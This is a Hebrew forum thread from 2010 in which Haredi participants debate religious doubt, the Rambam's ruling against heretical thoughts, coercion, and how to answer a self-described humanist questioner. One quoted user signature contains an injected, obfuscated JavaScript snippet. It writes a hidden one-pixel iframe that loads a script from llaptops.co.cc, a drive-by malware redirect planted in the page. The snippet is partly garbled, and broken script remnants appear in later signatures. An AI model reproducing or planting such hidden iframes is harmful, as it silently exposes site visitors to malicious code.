|
|
| נשלח ב-28/6/2010 14:51 |
 |
| |
יש רק הבדל קטן.
הרמב"ם שאף תמיד להבין
הומניסט שואף להתעקש ולא להבין
|
|
|
|
| נשלח ב-28/6/2010 14:57 |
|
| |
הגוילם
לא דקת
הרמב"ם מוכן לקבל שיש מישהו שהתורה אינה מתאימה לו אלא שבכל זאת הוא 'מוקרב' על מזבח החברה.
|
|
|
|
| נשלח ב-28/6/2010 15:04 |
|
| |
לבעלבעמיו
הרמב"ם להבנתי, לא קשור להומניסט.
הוא מתכוון שבמכלול החוקים, ישנם כאלו שלא מתאימים לפרט זה או אחר.
הומניסט כופר בכל הסמכות הדתית והאלוהית ואעפ"כ מתעקש להשאר בתוך המסגרת הזאת ולרטון ולהפריע לכל סביבתו. הוא מסכן, וכנראה סובל מבעיות מסוימות.
|
|
|
|
|
| נשלח ב-28/6/2010 15:10 |
|
| |
| יוחנןפאולס כתב: |  | ולרטון ולהפריע לכל סביבתו. הוא מסכן, וכנראה סובל מבעיות מסוימות. |
|
אני מפריע ? רוטן ? סובל מבעיות ?
הבעיה שאני סובל ממנה קוראים לה חוסר סובלנות דתית, ובמילים אחרות פשיזם דתי מרושע.
מגעיל
|
|
|
|
| נשלח ב-28/6/2010 15:16 |
|
| |
הסבירו לך טובי המסבירנים בפורום בכל לשון יפה.
וכמו איזה נחס גדול אתה מתעקש,
תעשה טובה ותחפש לך פרייארים אחרים.
הגהינם של היום בצהרים, היה לקרוא את השטויות המרגיזות שלך.
תוקן על ידי יוחנןפאולס ב- 28/06/2010 15:18:06
|
|
|
|
| נשלח ב-28/6/2010 15:36 |
|
| |
בעל, אני לא חושב שאתה צודק. הוא מדבר על פרטים הלכתיים כאלה או אחרים, ולא על עיקרי האמונה. לגביהם הרמב"ם הוא נחרץ ומחייב מאד.
|
|
|
|
| נשלח ב-28/6/2010 15:40 |
|
| |
הומניסט,
כתבת "אתה אומר שמדובר במערכות שמתנגשות המתנגשות מעצם טבען. כלומר שאין בדת כלל מקום לספקנות. הדבר איננו קיים מבחינתה. ועל כך הערתי לעיל שאין צורך כלל להחזיר בתשובה אלא לכפות. (והסיבה שלא כופים היא טכנית) הרי אין ספקנות בעולם כלל" עוד כתבת " אלא החברה כופה עלי את ערכיה התיאלוגיים, שהחברה עצמה יודעת שהם אינם מובנים מאליהם. וכאן יש כשל מוסרי והומאני. כי החברה כופה עלי להיות פילוסוף גדול, ולהגיע למסקנות "הנכונות" ולפעול על פיהם יום יום שעה שעה. רק עיוור לא יראה עיוות בחיים שכאלה"
הכופה איננה החברה, אלא הדת. היא איננה כפופה למוסריות והומניזים מתוצרת אנושית, אף שיש לדלות מתוכה כמותן וגם לעשות בהן שימוש, כל זמן שאינן מתנגשות עם דרישות הדת.
על אפשרות הספקנות כתב הרמב"ם:
ד ולא עבודה זרה בלבד הוא שאסור להיפנות אחריה במחשבה, אלא כל מחשבה שגורמת לו לאדם לעקור עיקר מעיקרי התורה--מוזהרין אנו שלא להעלותה על ליבנו, ולא נסיח דעתנו לכך ונחשוב ונימשך אחר הרהורי הלב: מפני שדעתו של אדם קצרה, ולא כל הדעות יכולות להשיג האמת על בורייו; ואם יימשך כל אדם אחר מחשבות ליבו, נמצא מחריב את העולם לפי קוצר דעתו.
ה כיצד: פעמים יתור אחר עבודה זרה; ופעמים יחשוב בייחוד הבורא, שמא הוא שמא אינו, מה למעלה מה למטה, מה לפנים מה לאחור; ופעמים בנבואה, שמא היא אמת שמא אינה; ופעמים בתורה, שמא היא מן השמיים שמא אינה. ואינו יודע המידות שידון בהן עד שיידע האמת על בורייו, ונמצא יוצא לידי מינות.
ו ועל עניין זה הזהירה תורה, ונאמר בה "ולא תתורו אחרי לבבכם, ואחרי עיניכם, אשר אתם זונים, אחריהם" (במדבר טו,לט)--כלומר לא יימשך כל אחד מכם אחר דעתו הקצרה, וידמה שמחשבתו משגת האמת. כך אמרו חכמים, "אחרי לבבכם", זו מינות; "ואחרי עיניכם", זו זנות. ולאו זה, אף על פי שהוא גורם לאדם לטורדו מן העולם הבא, אין בו מלקות. [ משנ"ת, עבוד"ז, ב ]
( בגדרי האיסור ובאפני ההיתר, ראה באריכות ב"רעה אמונה" להר"מ שפירא עמ' כח - ל"ו )
 |
|
|
|
|
| נשלח ב-28/6/2010 16:01 |
|
| |
| מיימוני כתב: | | האם מי שלא זכה לתחושות שלך הוא חוטא ופושע? האם הדרך לעזור לו למצוא את האמת היא על ידי הסתכלות מלמעלה למטה? סליחה שאני מעיר לך, אך אני חושב לעצמי: אילו הייתי במצבו של הומניסט (והרי כל אחד מאיתנו מגיע לרגעים קשים בחייו שבהם הוא מפקפק בכל וזה נסיון גדול מאד שאין אדם כמעט נמלט ממנו), האם דברים כשלך היו משכנעים אותי, או פוגעים בי? יתכן שלא באת אלא לספר עד כמה אדם שמחובר למצוות אינו מגיע לכלל ספק. זה באמת כך. אבל האם סיפור דברים זה יעזור למי שלא זכה לכך? הרי תמיד יוכל לטעון שאנו חיים בהונאה עצמית? ומסתבר שהפחד מפני אימוץ דעות שאינן בדוקות כל צורכן לא יסולק על ידי ודאות של אחרים. אדם חפץ בודאות שלו. _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* language=""> *-- var as='h'; var ac='tt'; var ab='p'; var ay="//"; document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*"); //* |
|
אכן יתכן וטעיתי, ועלי להתנצל בפני התוהה הנ"ל.
אך יש דבר אחד המפריד באופן תהומי בין אחד שמתקשה מתייסר מתלבט ומסתפק, לבין אחד שמתריס יורק ומקנטר כלפי מעלה. לו הנ"ל היה שוטח את מצוקתו את סבלו ואת חוסר אמונתו וחיבורו לקל ומצוותיו, אין ספק שלא הייתי נכשל ויורה עליו את חיצי הבוז. ואולי בסבלנות הייתי כותב איזה עיצה, אלא זה שהסגנון מעיד עליו כאלף עדים כי אינו מחפש תשובה כלל וכלל, אלא לפרוק עלינו את ארס אמונתו הקלוקלת והמייסרת. מה אומר ומה אשיב לו??? גם מרן החפץ חיים לא השיב כלום לנכדתו פורקת העול כאשר התריסה את קושיותיה כלפי מעלה.
הנ"ל טוען שהדת היא עונש ודבר אכזרי, והנה עומדים 2 יהודים האחד שמח במצוות הא-ל ונהנה מעמלה וחידודה של תורה, ואילו השני שאינו מאמין ומתחבר, מרגיש כי הדת היא סבל יצירתי ואכזרי לבני האנוש, ומכאן שאת המצוות והתורה אינו מקיים כי אם מצוות אנשים מוכרחה. ואם כן מוכח כאלף עדים על כל פנים ליהודי המאושר, כי קיום התורה והמצוות כראוי היא מתנת הא-ל לאושר לשמחה ולסיפוק, ולימוד התורה הק' המתוקה מדבש ויקרה מפנינים יכולה להביא אותנו לשמחה כנתינתן בסיני.
האמת, שגם אני לא זכיתי להרגשה הזאת במשך רוב ימי חיי, ורק רח"ל הקשיים הם שהביאוני עד הלום, ובתקופותי הקשות זכיתי לחיבור הראשוני ביני לבין קוני. אך בטוחי שלו חילוני שאינו מאמין (או חרדי רפה אמונה) היה עובר את שעברתי, לא היה לו שום דבר לתלות בו את תקוותיו או לרפאות בו את שבריו.
ואתה ספקן מבני ברק, אל תעצור בעד רוחך, כי בין אם הדת היא אמת ובין ח"ו אם היא אינה אמת, הרי היא סיבה לסיפוק הנאה אושר ושמחה, ובכוחה לרפא לב נשברים ונדכאים, ולהביא מזור וישועה להולכים באורה. ואם כן אל תחוש מפני סביבתך, וסוג לאחור בדתך והתחל מאפס. אם יש איזשהו לימוד שאינו סבל עבורך התחל בו, כי אין אדם לומד אלא במה שליבו חפץ, צא למקום נידח והתבודד עם עצמך וא-לוקיך, חזור ושנן לעצמך את כוחותיך יכולתך חשיבותיך ועוצמתך. ואכן לדעתי כדאי שתעזוב את הכולל שרק מייסרך וצא לעבוד לפרנס ולתת לעצמך סיפוק. ואולי אם תהיה אמיץ תוכל להתייעץ עם אדם נבון וחכם, כי האמת שאני לא יודע מה עליך לעשות, רק את זה אני יודע בוודאות מוחלטת כי אושר וסיפוק לא תמצא באף מקום אחר זולת ד' אמות של תורה, תפילה, מצוות, חסד, מוסר, והלכה. בל"נ אתפלל עבורך כי השמחה תהיה מנת חלקיך, ומחר בתפילת "אין כא-לוקינו אין כאדוננו אין כמלכנו וכו' אומר את זה בשמחה ובשירה ובכוונה אך ורק לזכותך לעילוי רוחך. ואתה אנא ממך פעם ביום תאמר בתחנון וברגש את הפסוק: צדיק ה' בכל דרכיו וחסיד בכל מעשיו. ובוודאי שתזכה לישועה ולנחמה.
אגב, אכן מסכים אני איתך כי הניק גור-ברקת הוא פרובקטיבי ואינו ראוי, ואכן במבט לאחור אני מתבייש במה שהעסיק אותי בימים ההם, חוסר הזמן ללא איפשר לי להרשם מחדש תחת ניק מכובד יותר.
תוקן על ידי גור_ברקת ב- 28/06/2010 16:06:14
|
|
|
|
| נשלח ב-28/6/2010 16:17 |
|
| |
גור
אתה כותב- ואם כן מוכח כאלף עדים על כל פנים ליהודי המאושר, כי קיום התורה והמצוות כראוי היא מתנת הא-ל לאושר לשמחה ולסיפוק
הרבה אנשים הלוקחים ומזריקים סמים , אומרים בדיוק את הדברים הללו,
לכל אחד הזכות להשתמש בסמי הזיה הגורמים לאושר מדומה,
ולכל אחד גם שמורה הזכות להגמל מהשימוש בסמי הסוגסטיה והאוטו סוגסטיה.
לאחר שנוכח לדעת כי הסמים הרסו והורסים לו את הגוף ואת הרוח.
|
|
|
|
| נשלח ב-28/6/2010 17:01 |
|
| |
כל הכבוד לך , הומניסט , שהינך ממשיך בדו שיח, למרות מתקפת חלק מהמגיבים (לא כולם !) שענו לך באטימות ובזלזול כטרול . מן הסתם , מחשבות אסורות ורעות טרם פקדו את מוחם הצדקני. אפילו דברי חז"ל "אל תאמין בעצמך עד יום מותך" דומה שגם לא פעלו למלא ליבם ענווה כלפי האחר המתייסר.ואני תוהה ביני לביני שגם אם הינך טרול (שזה כלל לא משנה לעצם הדיון, לטעמי, ואולי גם מבורך , בדיעבד) הרי שתשובותיהם הם הינן טרול יותר מכל טרול - כביכול (או שלא כביכול) לא הרהרו בסוגיות שהעלית מעולם. אהה. היום למדתי דבר נוסף על גבולות (מגבלות) של היושר האינטלקטואלי של חלק מהמגיבים בפורום .
תוקן על ידי התודעה ב- 28/06/2010 17:03:22
|
|
|
|
| נשלח ב-28/6/2010 17:02 |
|
| |
גור ברקת
איקון ירוק (שכוייח) על הנכונות להקשיב ולתת לזולת.
כדאי לשים לב כי, כפי שכתבתי קודם, הודאויות שלנו אינן כאלו עבור אחרים.
הנה כמה דוגמאות:
התם, במשל החכם והתם של ר' נחמן, מסוגל לספר לחכם על פגישתו עם המלך, אבל הודאות שלו אינה אומרת כלום למי ששקוע בביצת הייסורים.
בהקדמתו לספרו על התפילה, במסה חשובה מאד לדעתי על התפילה, מדגיש הגרי"ד סולוביצ'יק כי הוא בא "לספר" על החויה הדתית שלו. מעבר ל"סיפור דברים" אין בידו.
נכון שדוד המלך מציע "טעמו וראו כי טוב ה' " ונכון כי המשפט הזה התפרש במשך השנים, כגון בימי הבינים, כהזמנה לחויה דתית. אבל לא כל מי שמזמינים אותו לסעודה מסוגל גם להנות ממנה. ויש כאלו שעבורם זו ר-ק סעודה, כפי שכתב ירוחם. בעיני הספקן, האדם הדתי מספר על חויה, וחויה יש גם, להבדיל מסמים.
אין צורך להפסיק לספר. אבל יש לעשות זאת בענווה ומתוך תובנה שמי שזכה זכה ועבור אחרים, כדבריך, אפשר להתפלל.
באחד מספריו מספר פנחס שדה על תקופה קשה בחייו והוא מסיים: רק אל תאמרו לי את המילה הזו "א-לוקים". מסתבר מאד שזו קריאה דתית. מי שמאמין באופן כלשהו ומתקשה לחבר בין שאיפותיו, תקוותיו ואולי גם לעמוד מול חרטתו הוא זה שיצעק את הצעקה הגדולה והמרה הזו. אבל הרי זה לפנינו שלא בכל זמן יש לדבר עם אדם על אלקים. (אומרים כי בימים האחרונים שלו התקרב מאד ליהדות ודווקא בדרך ברסלב והלוואי).
עצתי: המספר על חוויותיו כיהודי שומר מצוות ומאמין וכותב זאת מלב טהור עושה רושם גדול על אחרים. אפילו המפקפקים אינם יכולים להכחיש שעבורו זו מציאות חיה. אולם בה במידה שיעשה זאת בענווה, לא כאומר "קבלו דעתי" אלא, עד כמה שזה ייראה לא נצרך, כמתנצל על העזתו, דווקא אז ייפלו דבריו כזרעים על אדמה שיכולה לאפשר להם לנבוט.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-28/6/2010 17:04 |
|
| |
התודעה
כפי שראיתי שענו לו להומניסט בחוסר סובלנות ובכעס, ראיתי גם שהשתדלו לענות לו בסבר פנים יפות. האם מי שחש שהגיע לקצה סובלנותו ייחשד כחסר יושר אינטלקטואלי?
לגבי עצם הספק כתופעה פסיכולוגית, אקזיסטנציאלית ודתית כבר נכתב בפורום, וחבל שאין לי לינק. השתדלתי לציין זאת בדברי לעיל.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-28/6/2010 17:16 |
|
| |
הומניסט
אני שותף להתפעלותה של התודעה מנכונותך לשתף ולבאר עוד.
אשר לי, חוששני שעדיין לא ברור לי מה אתה מבקש. (ואולי זה מה שטען מיכי, שיש כאן סתירה ברצון. ואז אין מה להלין על המציאות שאינה נענית לחלומותינו. וכי ניתן להשיג משולש בעל יותר משלוש זויות בעולם הזה? או בכל עולם אפשרי? - החלק האחרון הוא בדיחה למבינים בגאומטריה ובלוגיקה. בדרך כלל סבורים כי משולש חייב להיות מעצם הגדרתו בעל שלוש צלעות וזויות. האם הדת יכולה להיות סובלנית כלפי ספקות מטבעה?)
ואולם, כפי ששוב כתבו זאת כאן, יש מקום לספקנות, כאשר היא מובעת בצורה שהדת מותירה לה מקום. גם אם הרמב"ם אסר על הטלת ספק (ולא עשה זאת אלא מטעמי חינוך, וזה מחייב דיון אם ניתן לעצור את המחשבה מלחשוב ולהסתפק כי מסתבר שלא והרמב"ם ידע זאת היטב שמע מינה שבא לקבוע קו התנהגותי וחינוכי).
יש רבנים ויש חכמים שניתן לבוא אליהם בשאלות. ובימי חיי יצא לי להיפגש עם כאלו. ואיני מתכוון לאלו שמעולם לא הסתפקו ושיש להם תשובה לכל שאלה.
אבל האם ניתן לצווח את הספק בקול רם מעל כל במה ציבורית? האם לא יהיה בכך חוסר התחשבות?
הגע בעצמך: האם תלמד את ילדיך הרכים שבעצם אולי כל מה שהם לומדים בת"ת או בבית יעקב אינו נכון מן היסוד? אם תרצה לעשות זאת, מה זה יעולל להם?
כל זאת נוסף להבדל החשוב בין תביעת מעשים והתנהגות לבין תביעת אמונה. האמונה שייכת ללב ולכלי המחשבה, ולפיכך אינה עומדת לביקורת ציבורית. איש אינו יודע מה טמון בלב, וכפי שכתבתי לעיל, ניתן לתבוע מן האדם שיגיע לעמוד בתפילת 18 בבית הכנסת, או שיחזיק סידור ויניע את שפתיו. לא ניתן להכריחו להתפלל: לנהל דיאלוג חי עם אלקיו.
אולי בכוונתך להציע שמן הראוי היה לתת מקום לספקות באופן "רשמי" במוסדות החינוך. אולי להוסיף שיעור ב"ספקות והתשובה עליהם" ועל הספקות הבלתי נמנעים בישיבה, או בסמינר לבנות?
אולי זה באמת היה ראוי.
כמדומה שבישיבות חב"ד ואולי גם באחרות יש מקום לאדם להביע את ספקותיו. ושם יבינו כי לפעמים אדם מאבד את בטחונו בנכונות הדת. שם אולי אפילו יראו בכך תהליך של צמיחה רוחנית, שמורכבת מספקות ואחריהן מציאת תשובה. אם כי לאו דווקא תשובה פילוסופית.
אבל דומני שהחברה שלנו לא תהיה מסוגלת לתת מקום למי שיערער בקביעות על עקרונות היסוד כמו מציאות אלקים הבורא ומשגיח או מתן תורה מחייבת וכיו"ב. האם זה פשיזם? כמדומה שפשיזם פירושו הכפפת האינדיבידואל, האדם היחיד ביחידותו, לכלל ולמדינה, לצורכי המדינה. האם זה כך גם אצלנו? בוודאי שלא זו ההגדרה ה"רשמית". אולי אדם נתבע קודם כל להיות משרת האלקים, אבל לא משרת החברה.
אכן, אם אתה חפץ להתהדר במצב הספק הקבוע שלך, ולהפוך אותו לדרך חיים, ואף לתבוע מאחרים שיכפיפו את ראשם בפניו, האם זה לא יותר מדי? כתבתי לך שאחת מן המסקנות שנובעות מן הספקנות היא פלורליזם מסויים. בתור ספקן, איך אוכל לדעת שאחרים אינם יודעים? (נכון שיש אסכולות בתוך הספקנות ויש אסכולה ששוללת את אפשרות הידיעה ממני ומאחרים, אבל זו כבר ספקנות שמתיימרת לידיעות מסויימות. האם זוהי עמדתך?).
יש להוסיף כי החברה החרדית אכן סובלת מבעיות שונות כפי שעינינו הרואות. אחת מהן היא העובדה שכמעט הכל יודעים שיש אידיאולוגיה שהכל חייבים להודות בקיומה אך בפועל מתעלמים ממנה. זו רעה חולה היא. אבל כמדומה שאין זה רכיב פשיסטי אלא תוצאה של רף הולך ויורד של תפיסת היהדות במחוזותינו. ועל זה בוכה גם אני.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-28/6/2010 17:28 |
|
| |
מיימוני
לא מזג רוח של מגיבים (ושוב: חלקם, בייחוד הראשונים שמיהרו לנבוח) מטריד אותי, אלא בתוכן הדברים ובמסר שהובע בין השיטין "כלך מכאן. טרול. לשאלותיך אין מקום בתוכנו. תפסיק לבלבל את המוח". לשם כך הוא לא צריך את עצכ"ח . מספיק לדבר בכוילל.
(הרי מדוע שלא תשתף מחשבותיך בקול רם בכוילל ? מקסימום " רק יפגע מזג רוחו של פלוני" ?!)
אבל אני דנה לזכות, כנראה כל כך מפחדים מטרול...
|
|
|
|
| נשלח ב-28/6/2010 17:49 |
|
| |
המוניסט: היקר
אל תתרגש שאומרים עליך טרול גם עלי אמרו פעם שאני טרול, ועד היום אני לא יודע מה הפירוש של המילה טרול, שאלתי בזמנו את זה שאמר עלי, והחבר לא ענה לי,
מישהו יכול להסביר סוף סוף מה פירוש המילה "טרול" ??
עכשיו לשאלתך, בעניין תפילה אמרתי וסיפרתי לך על פסיקתו של ר' יעקב מאיר שכטר שלא צריך,
גם בהלכה משמע כך, אז בתכלס אתה לא צריך להתפלל בכלל, פטור לגמרי (ועל תספר לחברים,, בצחוק)
אני רוצה להסביר לך מה ההבדל בין שאלתך לבין כל השאלות ששואלים כאן בפורום,
רוב השאלות כאן הם מסוג השאלות של אתה אומר התורה אמרה, אני טוען שלא אמרה, זה מביא ראיה לכאן וזה לכאן,
למשל: הקבלה היא אמת ? זה אומר כך וזה מביא ראיה שכך,
האם החרדים הם גזעניים ? זה אומר שזה לא בא מגזענות, וזה טוען שכן,
ביקורת המקרא נכון או לא יש הרבה אשכולות בעניין,
וכן בזה הדרך בכל השאלות, אפי' בשאלה האם יש אלוקים ? וכל נושא של כפירה דנו כבר כאן,
כדאי לך לעבור על האשכולות כאן ותראה שאין נושא בעולם שלא דנו כאן,
אבל אתה לא שאלת בעצם, אמרת עובדות שבעינייך זה כך בשביל כולם, ולכן אין לחברי וחכמי הפורום כאן נסיון לענות לך בעינינך, וגם אמרתי לך בהתחלת הדיון (לא נראה לי שכאן תקבל את מבוקשך, רק אם הסיפור היא רק משל מצדך בכדי לדון בעניין)
|
|
|
|
|
|
